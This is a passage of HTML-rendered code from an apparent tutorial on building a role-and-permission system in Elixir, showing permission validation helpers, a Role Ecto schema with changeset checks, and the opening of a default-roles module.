&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;reject&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;has_permission?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;invalid_permissions&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;invalid permissions&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;invalid_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;has_permission?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;exists?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;actions_valid?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;exists?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;has_key?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;actions_valid?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;permission_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;given_action&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;when&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;is_binary&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;given_action&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;actions_valid?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;permission_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;given_action&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;actions_valid?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;permission_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;given_actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;when&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;is_list&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;given_actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;defined_actions&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permission_name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all?&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;given_actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;defined_actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s unpack this. Our &lt;code&gt;Permissions&lt;/code&gt; module is the heart of our RAP system. It defines all possible permissions and their valid actions in &lt;code&gt;all/0&lt;/code&gt;. For example, we defined two permissions so far. One for the resource &lt;code&gt;invoices&lt;/code&gt; and one for &lt;code&gt;addresses&lt;/code&gt;. Our &lt;code&gt;Permissions&lt;/code&gt; module defines &lt;strong&gt;all&lt;/strong&gt; allowed actions for each permission. So, although a user could create, read, update, and delete invoices, no user could ever create or update addresses, maybe because we&apos;re autogenerating them from e.g. contracts or an external service.&lt;/p&gt;
&lt;p&gt;The function &lt;code&gt;validate_permissions/2&lt;/code&gt; is a helper to use in our &lt;code&gt;User&lt;/code&gt; and &lt;code&gt;Role&lt;/code&gt; schema changesets. It checks whether a given set of permissions are valid. That means that their resource and actions were defined in &lt;code&gt;all/0&lt;/code&gt;. We&apos;ll discuss use cases for this later.&lt;/p&gt;
&lt;p&gt;Let&apos;s have a look at the last part of our RAP next, the &lt;code&gt;Role&lt;/code&gt; schema:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Role&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Schema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Changeset&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;roles&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;has_many&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:users&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.User&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;timestamps&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;doc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;role&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;cast&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_required&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;unique_constraint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_at_least_one_permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.Permissions&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_at_least_one_permission&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_change&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;map_size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;permissions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;must have at least one permission&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our &lt;code&gt;Role&lt;/code&gt; schema has a unique &lt;code&gt;name&lt;/code&gt; and a map of &lt;code&gt;permissions&lt;/code&gt;. It must have at least one permission, otherwise, the role shouldn&apos;t exist. It also uses &lt;code&gt;RAP.Permissions.validate_permissions/2&lt;/code&gt; to validate that all permissions are valid before persisting them.&lt;/p&gt;
&lt;p&gt;But what&apos;s a &quot;Role&quot; and how can we use it? Let&apos;s define some default roles for our system to understand them better:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RAP.DefaultRoles&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
